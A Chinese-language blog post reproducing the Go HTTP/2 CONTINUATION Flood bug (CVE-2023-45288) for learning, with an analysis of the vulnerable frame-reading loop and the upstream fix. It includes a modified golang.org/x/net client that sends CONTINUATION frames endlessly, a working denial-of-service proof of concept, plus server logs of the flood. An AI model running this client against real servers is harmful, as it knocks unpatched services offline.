如标题所说http2 的continuation frame 攻击
看文章的时候 https://m.cnbeta.com.tw/view/1426407.htm 看到的 关于HTTP2协议的 漏洞。
该漏洞被称为"HTTP/2 CONTINUATION Flood”,它利用了配置不当的HTTP/2 实现,这些实现未能限制或净化请求数据流中的 CONTINUATION 帧。 CONTINUATION 帧是一种用于延续报头块片段序列的方法,允许报头块在多个帧中分割。当服务器收到一个特定的 END_HEADERS 标志,表明没有其他 CONTINUATION 或其他帧时,先前分割的报头块就被视为已完成。
正常来说按照http2的协议规定,就是服务端需要把client 侧所发的所有的CONTINUATION 进行一个merge 操作,但是如果协议实现软件没有注意设置header CONTINUATION header 限制,攻击者只需要在同一个http2 connection中, 不停的发 CONTINUATION帧, 就可以实现DOS攻击。
看了下 Go也是中奖了。 CVE-2023-45288
而且影响面很大基本上排除最新的几个http 库版本,都中了。
所以本着学习的态度想要复现这个漏洞。 顺便记录学习的过程。
首先是http2.0 的CONTINUATION 请求头DOS攻击。准备一个Server 和Client 代码 运行环境分别是:
- go1.20.5
- go1.22.3
Server 比较简单,就是正常的启动一个https server 并且支持http2.0
然后需要一个Client,支持重复发送CONTINUATION帧的, 就直接在golang.org/x/net
进行修改。
# 首先是正常的client的代码
import (
"crypto/tls"
"flag"
"fmt"
"golang.org/x/net/http2"
"log"
"net/http"
"os"
)
func main() {
flag.Parse()
w, _ := os.OpenFile("tls-secrets.txt",
os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) // wireshark 开启一个tls-secrets.txt 用于存储http2.0后续对称加密的秘钥, 可以直接导给wireshark可以方便解包内容。 对称秘钥文件
client := &http.Client{
Transport: &http2.Transport{
TLSClientConfig: &tls.Config{
KeyLogWriter: w,
InsecureSkipVerify: true, // test server certificate is not trusted.
},
},
}
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("attack", "CONTINUATION ATTACK")
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Failed to get URL: %v", err)
}
fmt.Println(resp.Status)
resp.Body.Close()
}
下载 golang.org/x/net 源码。 然后修改go.mod指向源码目录
replace golang.org/x/net v0.24.0 => /Code/path/net
# 修改/Code/path/net/net/http2/transport.go :1447
func (cc *ClientConn) writeHeaders(streamID uint32, endStream bool, maxFrameSize int, hdrs []byte) error {
first := true // first frame written (HEADERS is first, then CONTINUATION)
for len(hdrs) > 0 && cc.werr == nil {
chunk := hdrs
if len(chunk) > maxFrameSize {
chunk = chunk[:maxFrameSize]
}
hdrs = hdrs[len(chunk):]
endHeaders := len(hdrs) == 0
if first {
cc.fr.WriteHeaders(HeadersFrameParam{
StreamID: streamID,
BlockFragment: chunk,
EndStream: false,
EndHeaders: false,
})
first = false
//发完header 遍历发送CONTINUATION frame.
for true {
fmt.Println("send continuation frame..=>", len(chunk))
cc.fr.WriteContinuation(streamID, false, chunk[:maxFrameSize])
}
} else {
cc.fr.WriteContinuation(streamID, endHeaders, chunk)
}
}
cc.bw.Flush()
return cc.werr
}
运行分别运行可以看到 单核CPU被打满的情况。 server 端 在开启了 export GODEBUG=http2debug=2 调试信息之后 一直在打印读取帧的信息。
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION
...
归根结底 就是在net/http/h2_bundle.go 读取请求头帧的时候 没有检测异常 并退出。
// readMetaFrame returns 0 or more CONTINUATION frames from fr and
// merge them into the provided hf and returns a MetaHeadersFrame
// with the decoded hpack values.
func (fr *http2Framer) readMetaFrame(hf *http2HeadersFrame) (*http2MetaHeadersFrame, error) {
...
var hc http2headersOrContinuation = hf
for { // 遍历获取请求头帧
frag := hc.HeaderBlockFragment()
if _, err := hdec.Write(frag); err != nil {
return nil, http2ConnectionError(http2ErrCodeCompression)
}
if hc.HeadersEnded() {
break
}
if f, err := fr.ReadFrame(); err != nil {
return nil, err
} else {
hc = f.(*http2ContinuationFrame) // guaranteed by checkFrameOrder
}
}
...
}
关键代码 就是遍历请求帧这个循环, 只三个退出点:
hdec.Write
: 是将本次tcp 穿过来的字节流写入自己H2 header decoder里,其中只会针对 压缩错误,解析失败,和单次string长度 超了的进行异常返回。hc.HeadersEnded()
: http2 协议 请求头 是 header frame + continuation frame + end frame . 结束帧返回。fr.ReadFrame()
: 从decoder中解析frame,同样 只会针对单frame 长度超过了,http2 连接异常的等.
所以结合来看上面三个都不是很合适,
所以新增了一个remainSize 的判断。 但是同时还有一个invalid 的异常退出。 https://go-review.googlesource.com/c/go/+/576076
至此复盘结束。